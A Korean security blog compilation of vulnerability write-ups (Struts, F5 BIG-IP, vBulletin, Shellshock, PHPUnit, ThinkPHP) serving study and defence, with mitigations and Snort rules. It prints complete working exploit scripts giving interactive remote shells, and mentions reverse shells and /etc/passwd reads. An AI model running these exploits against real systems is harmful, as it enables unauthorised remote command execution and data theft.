1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

2. CVE-2018-11776

[캡쳐 1] https://nvd.nist.gov/vuln/detail/CVE-2018-11776

- 공격자는 취약한 버전의 Apache Struts에 조작된 요청을 전송함으로써 원격 코드를 실행할 수 있음.

- 해당 취약점은 사용자 입력값에 대한 검증이 충분하지 않아 발생하는 취약점.

취약한 버전 : Apache Struts 버전 2.3 ~ 2.3.34 및 2.5 ~ 2.5.16
조건
1. Struts 구성에서 alwaysSelectFullNamespace 플래그가 “true”로 설정됨 (참고: 널리 사용되는 Struts Convention 플러그인을 사용하는 경우 “true”가 기본값으로 설정)
2. Struts 애플리케이션이 특정 namespace를 지정하지 않고 구성되거나 와일드카드 namespace를 이용하는 <action ...> 태그가 포함되어 있음.
결과
웹 응용 프로그램에서 namespace 를 지정하지 않거나 /* 와 같은 와일드카드 namespace 를 사용하는 경우 주어진 작업에 대한 namespace 를 찾을 수 없다면 공격자가 지정한 namespace 를 취하여 OGNL 표현식으로 평가하여 웹 어플리케이션에 원격코드실행을 악용할 수 있음.
OGNL(Object-Graph Navigation Language) : Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어

 

2.1) PoC 분석

#!/usr/bin/python
# -*- coding: utf-8 -*-

# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)

    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

    print "[Url]: {}\n\n\n".format(url)

    try:
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response


if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])

- 해당 PoC를 확인해보면 namespace를 지정하지 않고, allowStaticMethodAccess 값을 true로 지정

- iswin 변수로 운영체제 종류(Win or Linux)를 파악 후 cmd 변수(공격자가 입력한 명령)로 명령문을 완성 및 요청 전송

 

2.2) 취약점 실습

 

GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

Working Python test and PoC for CVE-2018-11776, includes Docker lab - GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

github.com

- 도커 이미지 다운로드 및 실행(도커 컨테이너는 8080포트, 호스트 시스템은 32773 포트 사용)

$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32773:8080 piesecurity/apache-struts2-cve-2017-5638

- 도커 내부 및 설정 파일 접근

$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

- <struts>에 매퍼 추가([캡쳐 2]) 및 <package name="default" extends="struts-default">에 리다이랙션([캡쳐 3]) 추가

[캡쳐 2] <struts> 추가 내용
[캡쳐 3] <package name="default" extends="struts-default"> 추가 내용

- 컨테이너 재시작

$ exit
$ docker restart struts2\

- Apache Struts2 정상 동작 확인

[캡쳐 4] Apache Struts2 정상 동작

- curl을 통해 OGNL 표현식 변환 확인 (${2+2} 인코딩 -> $%7b2%2b2%7d)

- ${2+2} 네임스페이스를 요청하였으나, Location 헤더가 /4/date.action으로 변경 되었고, OGNL 표현식이 실행되었음을 의미

[캡쳐 5] OGNL 표현식 변환

- cmd(PoC에서 명령을 지정하는 매개변수)에 id 명령(사용자의 user, group 정보를 출력하는 명령)를 삽입 및 전송

- cmd 값을 id가 아닌 cat /etc/passwd, wget을 이용한 파일 다운로드, 리버스쉘 생성 등으로 조작 가능함

[캡쳐 6] id 명령 실행 결과 반환

- [캡쳐 6]을 와이어샤크를 통해 확인하면 [캡쳐 7]과 같음

[캡쳐 7] 패킷 캡쳐

3. 대응방안

1. 취약점이 패치된 버전으로 업그레이드

- cleanupNamespaceName 메소드에 화이트리스트 기능을 추가하여 악의적인 코드를 OGNL 형식으로 주입되는것을 방지

[캡쳐 8] 패치 코드

2. 취약점 탐지 및 차단

- allowStaticMethodAccess 옵션을 활성화(true)하여 해당 취약점을 이용함.

- 해당 문자열을 토대로 패턴 생성 및 적용

alert tcp any any -> any any (msg:"Apache Struts2 RCE"; content:"allowStaticMethodAccess"; nocase; content:"true"; nocase;)

4. 참조

1. https://www.secjuice.com/apache-struts2-cve-2018-11776/

2. https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

3. https://koromoon.blogspot.com/2018/09/cve-2018-11776-apache-struts2-s2-057.html

4. https://bziwnsizd.tistory.com/75

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

[캡쳐 1] 쇼단 F5 BIG-IP 검색 화면

2. CVE-2021-22986

[캡쳐 2] https://nvd.nist.gov/vuln/detail/CVE-2021-22986

- 취약한 버전의 BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 명령어 실행 취약점
- 취약한 버전의 제품 로그인 페이지에만 접근하여도 취약점을 통해 인증 우회 및 원격 명령어 실행이 가능

[캡쳐 3] https://support.f5.com/csp/article/K03009991

2.1) 취약점 분석

- F5 BIG-IP 제품의 Default ID/PW 값은 admin/admin으로 설정되어 있음.
- 원격의 공격자는 Authorization 헤더의 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정하여 조작된 요청 전송
- 사용자 입력값(ID/PW) 적절한 검증의 부재로 공격자는 관리자의 X-F5-Auth-Token(admin 토큰 값) 값을 알아낼 수 있음
- 해당 토큰 값을 이용해 관리자의 권한으로 원격 명령 수행이 가능.

* YWRtaW46YWRtaW4= base64 디코딩 시 admin:admin
* X-F5-Auth-Token 값을 공백 && Authorization 헤더 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정한 PoC도 확인
사유 : Authorization헤더를 통해 전달한 ID/PW 값을 통해 admin 권한으로 접근이 가능하기 때문으로 판단.

2.2) PoC

def exploit(url):
	target_url = url + '/mgmt/shared/authn/login'
	data = {
		"bigipAuthCookie":"",
		"username":"admin",
		"loginReference":{"link":"/shared/gossip"},
		"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
	}
	headers = {
		"User-Agent": "hello-world",
		"Content-Type":"application/x-www-form-urlencoded"
	}
	response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
	if "/mgmt/shared/authz/tokens/" not in response.text:
		print('(-) Get token fail !!!')
		print('(*) Tested Method 2:') 
		header_2 = {
		    'User-Agent': 'hello-world',
		    'Content-Type': 'application/json',
		    'X-F5-Auth-Token': '',
		    'Authorization': 'Basic YWRtaW46QVNhc1M='
		}
		data_2 = {
			"command": "run", 
			"utilCmdArgs": "-c whoami"
		}
		check_url = url + '/mgmt/tm/util/bash'
		try:
			response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
			if response2.status_code == 200 and 'commandResult' in response2.text:
				while True:
					cmd = input("(:CMD)> ")
					data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
					r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
					if r.status_code == 200 and 'commandResult' in r.text:
						print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
			else:
				print('(-) Not vuln...')
				exit(0)
		except Exception:
			print('ERROR Connect')
	print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
	while True:
		cmd = input("(:CMD)> ")
		headers = {
			"Content-Type": "application/json",
			"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
		}
		data_json = {
			"command": "run", 
			"utilCmdArgs": "-c \'%s\'"%(cmd)
		}
		exp_url= url + '/mgmt/tm/util/bash'
		exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
		if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
			print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
		else:
			print('(-) Not vuln...')
			exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
    	print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
    	exit(0)
    else:
    	exploit(sys.argv[1])

[캡쳐 4] https://twitter.com/1zrr4h/status/1373206181955653632

3. 대응방안

- 최신 버전으로 업데이트

[캡쳐 5] 업데이트 코드(인증 우회 방지)

- 상위 보안장비를 통한 접근제어 : 취약점에 사용되는 문자열을 탐지할 수 있는 스노트 룰 적용
Ex) /mgmt/shared/authn/login, /mgmt/tm/util/bash, "command":, "utilCmdArgs": 등

참고

CVE-2021-22986 (iControl REST unauthenticated remote command execution vulnerability)

#CVE #Exploit #F5 #BIG_IP #Security □ 주요 내용 / Main contents F5 BIG-IP : 로컬 ...

blog.naver.com

K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986 | AttackerKB

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x …

attackerkb.com

GitHub - jas502n/CVE-2021-22986-f5-ssrf-rce: CVE-2021-22986 & F5 BIG-IP RCE

CVE-2021-22986 & F5 BIG-IP RCE. Contribute to jas502n/CVE-2021-22986-f5-ssrf-rce development by creating an account on GitHub.

github.com

'취약점 > RCE' 카테고리의 다른 글

Spring Cloud Function RCE (CVE-2022-22963)  (0) 2022.11.15
Apache Struts 2 Namespace RCE (CVE-2018-11776)  (1) 2022.09.29
vBulletin Pre-Auth RCE(CVE-2019-16759)  (0) 2022.09.20
Bash Shell Shock(CVE-2014-6271)  (2) 2022.09.13
bWAPP PHP Code Injection  (0) 2022.07.29

1.vBulletin

- MH Sub I, LLC에서 판매 하는 독점 인터넷 포럼 소프트웨어 패키지
- PHP 로 작성되었으며 MySQL 데이터베이스 서버를 사용

[캡쳐 1] 쇼단 vBulletin 검색 화면

2. CVE-2019-16759

[캡쳐 2] https://nvd.nist.gov/vuln/detail/cve-2019-16759

- NVD를 통해 해당 CVE를 확인하면 취약한 버전의 vBulletin에 조작된 요청을 통해 원격 명령 실행이 가능함.

취약한 버전 : vBulletin 5.x ~ 5.5.4
원인 : ajax의 widgetConfig[code] 매개변수를 통해 원격 명령 실행을 허용

 

2.1) 취약점 분석

- 공격자가 조작된 요청을 보낼 경우 취약한 버전의 vBulletin의 동작 순서는 [캡쳐 3]과 같음.

- [캡쳐 3]의 ⑦ 과정을 통해 검증 및 인증 과정 없이 eval() 함수를 동작 시켜 결과를 반환하는 것을 확인할 수 있음.

[캡쳐 3] 동작 과정

2.2) PoC

 

Full Disclosure: vBulletin 5.x 0day pre-auth RCE exploit

 

seclists.org

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

 

[캡쳐 4] 취약점 결과 (https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/)

3. 대응방안

- 보안 패치 적용 (2019/09/25 release)

5.5.2 패치 레벨 1
5.5.3 패치 레벨 1
5.5.4 패치 레벨 1

참고 : https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4422707-vbulletin-security-patch-released-versions-5-5-2-5-5-3-and-5-5-4

 

- 패킷을 분석하여 공격 패턴(ex. "widgetConfig[code]" 등)을 등록하여 탐지 및 차단

<Snort Rule 예시>
alert tcp any any -> any any (msg:"vBulletin RCE_CVE-2019-16759"; sid:1; gid:1; content:"routestring"; nocase; content:"widgetConfig"; nocase; flow:established,to_server; pcre:"/echo[\s|+]shell\_exec/smi";)

1. Bash Shell Shock(CVE-2014-6271)

- 리눅스 계열 OS에서 주로 사용하는 GNU Bash에 공격자가 원격에서 악의적인 시스템 명령을 내릴 수 있는 취약점

- 환경변수를 통해 공격자가 원격으로 명령을 실행할 수 있음.

- 현재는 보안패치를 통해 취약점이 제거된 상태

[캡쳐 1] NVD CVE-2014-6271

2. 취약점 분석

2.1) 영향받는 bash 버전

Bash-4.2.45.5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2

2.2) CGI (Common Gateway Interface)

- CGI란 웹서버와 외부 프로그램 사이에서 정보를 주고받는 방법이나 규약을 뜻함.

- 웹 서버와 사용자 프로그램 사이에서 정보를 주고받는  프로그램.

- 서버에 cgi-bin 폴더를 만든 후 내부에 스크립트 파일을 생성, 웹 서버가 CGI를 통해 cgi-bin에 접속 및 파일 실행 후 결과를 클라이언트에 응답.

- 현재는 서버단 스크립트 언어(Server-side Script Language : ASP, JSP, PHP 등)가 활성화되면서 많이 사용되지는 않음.

[캡쳐 2] CGI (https://velog.io/@seanlion/cgi)

- 모든 bash shell이 취약점에 노출되어있는 것이 아닌, 환경변수를 통해 bash를 호출할 수 있는 프로그램이 시스템에 존재할 경우 취약점에 노출되는 것으로, 대표적인 프로그램으로는 CGI가 있음.

2.3) 환경변수

- "자주 사용하는" 혹은 "필요한 변수들을 미리 선언해 놓은 변수"를 뜻함

- export 명령을 통해 선언하며, env 명령을 통해 선언된 전체 환경변수를 확인할 수 있음.

[캡쳐 3] 환경변수 x 선언 및 확인

- 환경변수로 함수를 선언하는 것 또한 가능하며, 함수는 다음과 같이 선언

[캡쳐 4] 환경변수 함수 선언 및 확인

- 만약, 환경변수의 값을 명령을 포함하여 함수와 비슷한 형태로 선언 후 bash 명령어를 통해 초기화할 경우

- 입력 값에 대한 유효성 검증을 하지않는 버그로 인해 명령어까지 환경변수로 등록되며, 이후 해당 변수 실행 시 해당 명령까지 실행되어 취약점이 발생.

[캡쳐 5] 취약점 발생

3. 공격 실습

 

PentesterLab: Learn Web App Pentesting!

This course details the exploitation of the vulnerability CVE-2014-6271. This vulnerability impacts the Bourne Again Shell "Bash". Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface "CGI

pentesterlab.com

3.1) 피해자 환경

IP : 192.168.56.110
bash 버전 : 4.2.45(1)-releasa (i686-pc-linux-gnu)

[캡쳐 6] 취약한 버전의 bash

3.2) 공격자 환경

IP : 192.168.56.102

[캡쳐 7] /cgi-bin/status

- 웹 브라우저의 개발자 도구를 통해 확인해보면, "/cgi-bin/"의 "status" 스크립트를 실행시켜 결과를 반환함.

[캡쳐 8] /cgi-bin/status 결과

- /cgi-bin/status를 이용하는 과정을 악용해 취약점 사용이 가능함.

[캡쳐 9] 리버스쉘

- 공격자는 리버스쉘 연결을 위해 9999포트를 오픈한 후 조작된 요청을 전송함.

[캡쳐 10] 조작된 요청 전송

- 조작된 요청을 전송한 결과 공격자는 쉘을 획득하며 추가적인 명령을 수행할 수 있음.

[캡쳐 11] 공격자의 쉘 획득

- 뿐만아니라 공격자는 임의의 명령을 수행할 수 있음.

[캡쳐 12] ping 명령 및 /etc/passwd 내용 노출

- 와이어샤크를 통해 패킷을 확인해보면 다음과 같음.

[캡쳐 13] 200 응답값 확인

4. 대응방안

- 취약점이 패치된 bash 업데이트 적용.

- 사용하지 않는 CGI 서비스 삭제 또는 관련 서비스 중지

- 패킷을 분석하여 공격 패턴(ex. "() {" 등)을 등록하여 탐지 및 차단

 

참고

 

KISA 한국인터넷진흥원

□ FOCUS  ○ GNU Bash 원격코드실행 취약점 이슈 분석 및 대응방안 4

www.kisa.or.kr

- 해당 페이지는 message를 클릭하면 test가 출력된다.

[캡쳐 1] test

- URL 확인 시 message 파라미터의 값을 출력하는 형식이며, 이를 통해 GET 메소드를 이용한 방식이란 것을 알 수 있다.

[캡쳐 2] GET 방식 데이터 전송

- message 파라미터의 값을 다른 값으로 변경하여 실행할 경우, 변경된 값이 출력되는 것을 확인할 수 있다.

[캡쳐 3] ggonmer

- PHP에는 eval()이나 exec() 함수를 사용한 경우 세미콜론(;)을 사용해 다른 함수를 실행할 수 있는 취약점이 있다.

exec() 외부프로그램을 실행시켜주는 함수로 쉘 명령어들을 사용할 수 있게 해준다.
eval() 문자열을 PHP 코드로 실행해 준다.
system() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.
shell_exec() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.

- 해당 페이지에 php 취약점이 존재하는지 유무를 판별하기 위해 세미콜론(;)을 사용해 system()함수를 실행시켜 본다.

[캡쳐 4] system('ls -al')

- 실행 결과 ls -al 명령어의 결과로 파일 목록과 내용을 확인할 수 있다.

[캡쳐 5] cat /etc/passwd

- 사용자 계정 정보를 담고있는 파일인 /etc/passwd의 내용 역시 볼 수 있다.

[캡쳐 6] cat /etc/shadow

- /etc/shadow 파일의 내용은 출력되지 않는 것으로 보아 현재 웹 권한만 가지고 있고, 상위 권한의 사용자만 접근 가능한 파일의 경우 출력되지 않는 것을 알 수 있다. 

- nc 명령을 이용해 공격자의 PC로 연결도 가능하다..

-n 옵션 호스트 네임과 포트를 숫자로 출력
-l 옵션 Listen 모드로 Port 오픈
-v 옵션 더 많은 정보를 볼 수 있음
-p 옵션 포트를 지정

① 먼저 공격자가 NC 명령을 이용해 리스닝 포트를 오픈 후 대기한다.

-e 옵션 연결 생성 뒤 실행 프로그램 지정

② Bee-Box에서 해당 명령을 실행한다.

③ Bee-Box에서 Kali로 연결이 생성 및 공격자의 shell을 획득.

1. PHPUnit이란?

- PHP 프로그래밍 언어를 위한 유닛 테스트 프레임워크
- SUnit과 함께 기원한 유닛 테스트 프레임워크를 위한 XUnit 아키텍처의 인스턴스이며 JUnit과 함께 대중화
- PHPUnit은 Sebastian Bergmann이 개발하였으며 개발 자체는 깃허브에서 호스팅되고 있음

 

2. CVE-2017-9841

[캡쳐 1] https://nvd.nist.gov/vuln/detail/CVE-2017-9841 번역

- 해당 취약점은 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php에 대한 적절한 인증과정이 없어 발생되는 취약점

 

3. 취약점 분석

- 4.8.28 이전의 버전 및 5.6.3 이전의 5.x PHPUnit에 공격이 가능하다.
- eval-stdin.php에 해당 코드에 의해 취약점이 발생한 것으로 판단된다. php://input 함수를 이용해 원시 데이터를 읽은 후 eval 함수로 해당 명령을 실행하기 때문이다.

[캡쳐 2] 취약점 유발 코드
[캡처 3] 취약점 테스트

- 공격자들은 [캡쳐 3]의 php 코드를 통하여 먼저 취약점이 존재하는지 테스트 후 [캡쳐 4] 방식 등으로 공격을 진행.

[캡쳐 4] RawData

4. 대응방안

1. 최신 버전의 패치를 적용.

[캡쳐 5] 취약점이 패치된 버전의 소스코드

2. 보안 장비에 해당 패턴을 등록하여 탐지 및 차단
( ex) /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 경로로 요청을 탐지 및 차단 할 수 있도록 룰 설정)
3. .htaccess 파일을 /vendor 폴더에 위치 시킨 후 관련 설정을 등록.
* .htacccess 파일이란 "hypertext access"의 약자로 디렉토리에 대한 접근 허용 여부 등 설정 옵션을 제공한다.

<참고>

 

bWAPP PHP Code Injection

- 해당 페이지는 message를 클릭하면 test가 출력된다. - URL 확인 시 message 파라미터의 값을 출력하는 형식이며, 이를 통해 GET 메소드를 이용한 방식이란 것을 알 수 있다. - message 파라미터의 값을 다

ggonmerr.tistory.com

1. ThinkPHP란?

- 중국기업 탑씽크에서 개발한 아파치2 기반 PHP 프레임워크

- PHP 기본 함수호 구현된 행위들을 객체화해 PHP 개발과정의 유연성과 개발 기간의 단축 등 기능 제공

- 대부분 중국에서 사용중이며 아시아권에서 다수 사용중

[캡쳐 1] 쇼단에서 ThinkPHP 검색 화면

2. CVE-2018-20062

[캡쳐 2] https://nvd.nist.gov/vuln/detail/CVE-2018-20062

- 입력 값에 대한 적절한 검증이 없어 공격자가 임의의 명령을 실행할 수 있는 취약점

3. 취약점 분석

1) 영향 받는 버전

- ThinkPHP 5.0.23 하위 버전

- ThinkPHP 5.1.31 하위 버전

 

2) POC 분석

[캡쳐 3] POC 분석

- POC 구문이 실행되는 이유는 '\' 문자가 필터링되지 않기 때문이며, 크게 3부분으로 나뉠 수 있다.

- 먼저, '\'가 필터링 되지않아 \think\app은 Class로, invokefunction은 함수로 분석이되고,
   call_user_func_array 하위 부분은 함수에 전달하는 인자값이 된다.

[캡쳐 4] https://amuno-note.tistory.com/6

- 즉, 만약 공격자가 call_user_func_array&vars[0]=shell_ecex&vars[1][]=ls 명령을 전송할 경우 

  [캡쳐 4]에 따라 invokefunction('shell_exec','ls')가 수행되어 결과값이 공격자에게 전송되는 것이다.

- 해당 취약점을 이용해 공격자는 wget 명령으로 임의의 주소에서 파일을 다운로드 받게하는 등 다양한 공격이 가능하다.

 

4.  대응 방안

- 최신 버전 업데이트 적용 (2018 12월 보안업데이트 적용_정규표현식에서 '\' 필터링을 통해서 해결)

- 보안 장비에 해당 패턴을 등록하여 탐지 및 차단

 

+ Recent posts